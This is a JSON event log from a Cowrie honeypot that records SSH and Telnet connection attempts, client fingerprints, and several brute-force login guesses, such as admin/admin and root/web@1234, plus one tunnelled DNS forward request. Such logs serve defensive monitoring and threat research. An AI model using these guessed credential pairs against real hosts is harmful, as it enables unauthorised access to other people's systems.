{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":18514,"dst_ip":"10.17.0.5","dst_port":22,"session":"f939e05c30b4","protocol":"ssh","message":"New connection: 87.251.64.176:18514 (10.17.0.5:22) [session: f939e05c30b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:04.749968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:04.755007Z","src_ip":"87.251.64.176","session":"f939e05c30b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:04.851850Z","src_ip":"87.251.64.176","session":"f939e05c30b4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:05.141978Z","src_ip":"87.251.64.176","session":"f939e05c30b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:05.242676Z","session":"f939e05c30b4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:05.340965Z","src_ip":"87.251.64.176","session":"f939e05c30b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:05.440219Z","src_ip":"87.251.64.176","session":"f939e05c30b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.69131851196289,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:06.238597Z","src_ip":"142.93.2.99","session":"bdc64470fdef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42744,"dst_ip":"159.203.135.109","dst_port":23,"session":"494131ff1016","protocol":"telnet","message":"New connection: 142.93.2.99:42744 (159.203.135.109:23) [session: 494131ff1016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:12.749038Z"}
{"eventid":"cowrie.session.closed","duration":31.32306933403015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:19.426092Z","src_ip":"142.93.2.99","session":"492794555848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.194660902023315,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:22.290035Z","src_ip":"142.93.2.99","session":"a40c9405018c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59140,"dst_ip":"159.203.135.109","dst_port":23,"session":"aac013e555f4","protocol":"telnet","message":"New connection: 142.93.2.99:59140 (159.203.135.109:23) [session: aac013e555f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:32.074156Z"}
{"eventid":"cowrie.session.closed","duration":33.727254152297974,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:32.330590Z","src_ip":"142.93.2.99","session":"74956dff817b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":59248,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa1663197df3","protocol":"ssh","message":"New connection: 189.194.140.170:59248 (159.203.135.109:22) [session: fa1663197df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:32.686890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:32.692842Z","src_ip":"189.194.140.170","session":"fa1663197df3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:32.791388Z","src_ip":"189.194.140.170","session":"fa1663197df3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bgt5BGT%","message":"login attempt [root/bgt5BGT%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:33.160090Z","src_ip":"189.194.140.170","session":"fa1663197df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:34.262931Z","src_ip":"189.194.140.170","session":"fa1663197df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.940704107284546,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:34.974111Z","src_ip":"142.93.2.99","session":"4ba5b9b6b591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.93009638786316,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:39.350621Z","src_ip":"142.93.2.99","session":"15fdb1f6cc91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42592,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8bfb64bdf2d","protocol":"telnet","message":"New connection: 104.245.105.2:42592 (10.17.0.5:23) [session: e8bfb64bdf2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:40.402892Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":35288,"dst_ip":"159.203.135.109","dst_port":22,"session":"709ff993f8a3","protocol":"ssh","message":"New connection: 186.233.118.22:35288 (159.203.135.109:22) [session: 709ff993f8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:44.051832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:44.056334Z","src_ip":"186.233.118.22","session":"709ff993f8a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:44.175822Z","src_ip":"186.233.118.22","session":"709ff993f8a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.66335892677307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:44.412299Z","src_ip":"142.93.2.99","session":"494131ff1016","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dt123456!","message":"login attempt [root/Dt123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:44.683652Z","src_ip":"186.233.118.22","session":"709ff993f8a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42598,"dst_ip":"10.17.0.5","dst_port":23,"session":"863bf5f2d415","protocol":"telnet","message":"New connection: 104.245.105.2:42598 (10.17.0.5:23) [session: 863bf5f2d415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:45.207336Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:45.805194Z","src_ip":"186.233.118.22","session":"709ff993f8a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41484,"dst_ip":"159.203.135.109","dst_port":23,"session":"09748c507690","protocol":"telnet","message":"New connection: 142.93.2.99:41484 (159.203.135.109:23) [session: 09748c507690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:46.412491Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47394,"dst_ip":"159.203.135.109","dst_port":23,"session":"649ae2e311a0","protocol":"telnet","message":"New connection: 142.93.2.99:47394 (159.203.135.109:23) [session: 649ae2e311a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:54.141827Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49502,"dst_ip":"159.203.135.109","dst_port":23,"session":"42ef392b939a","protocol":"telnet","message":"New connection: 142.93.2.99:49502 (159.203.135.109:23) [session: 42ef392b939a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:57.889194Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54386,"dst_ip":"159.203.135.109","dst_port":23,"session":"44cf298bf2fe","protocol":"telnet","message":"New connection: 142.93.2.99:54386 (159.203.135.109:23) [session: 44cf298bf2fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:02.997068Z"}
{"eventid":"cowrie.session.closed","duration":35.1040985584259,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:07.178137Z","src_ip":"142.93.2.99","session":"aac013e555f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60992,"dst_ip":"159.203.135.109","dst_port":23,"session":"00f4c46152a0","protocol":"telnet","message":"New connection: 142.93.2.99:60992 (159.203.135.109:23) [session: 00f4c46152a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:11.612336Z"}
{"eventid":"cowrie.session.closed","duration":31.375853061676025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:11.778633Z","src_ip":"104.245.105.2","session":"e8bfb64bdf2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35792,"dst_ip":"159.203.135.109","dst_port":23,"session":"9772abcff2a5","protocol":"telnet","message":"New connection: 142.93.2.99:35792 (159.203.135.109:23) [session: 9772abcff2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:16.137340Z"}
{"eventid":"cowrie.session.closed","duration":31.636754751205444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:16.843962Z","src_ip":"104.245.105.2","session":"863bf5f2d415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.19236779212952,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:19.604735Z","src_ip":"142.93.2.99","session":"09748c507690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":38432,"dst_ip":"159.203.135.109","dst_port":22,"session":"15e39113cf8a","protocol":"ssh","message":"New connection: 2.57.122.238:38432 (159.203.135.109:22) [session: 15e39113cf8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:26.597734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:26.605420Z","src_ip":"2.57.122.238","session":"15e39113cf8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:26.709904Z","src_ip":"2.57.122.238","session":"15e39113cf8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":47934,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d6d12bb1d23","protocol":"ssh","message":"New connection: 189.194.140.170:47934 (159.203.135.109:22) [session: 8d6d12bb1d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:26.860363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:26.866175Z","src_ip":"189.194.140.170","session":"8d6d12bb1d23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:26.963903Z","src_ip":"189.194.140.170","session":"8d6d12bb1d23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:27.022520Z","src_ip":"2.57.122.238","session":"15e39113cf8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web@1234","message":"login attempt [root/web@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:27.348750Z","src_ip":"189.194.140.170","session":"8d6d12bb1d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.683509826660156,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:27.825201Z","src_ip":"142.93.2.99","session":"649ae2e311a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47270,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aac79323061","protocol":"telnet","message":"New connection: 142.93.2.99:47270 (159.203.135.109:23) [session: 5aac79323061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:27.900101Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:28.128124Z","src_ip":"2.57.122.238","session":"15e39113cf8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:28.451463Z","src_ip":"189.194.140.170","session":"8d6d12bb1d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.438475608825684,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:31.327569Z","src_ip":"142.93.2.99","session":"42ef392b939a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.402462005615234,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:37.399358Z","src_ip":"142.93.2.99","session":"44cf298bf2fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58952,"dst_ip":"159.203.135.109","dst_port":23,"session":"c16cda137535","protocol":"telnet","message":"New connection: 142.93.2.99:58952 (159.203.135.109:23) [session: c16cda137535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:39.812999Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":59066,"dst_ip":"159.203.135.109","dst_port":22,"session":"983acf75a207","protocol":"ssh","message":"New connection: 186.233.118.22:59066 (159.203.135.109:22) [session: 983acf75a207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:44.838855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:44.843372Z","src_ip":"186.233.118.22","session":"983acf75a207","protocol":"ssh"}
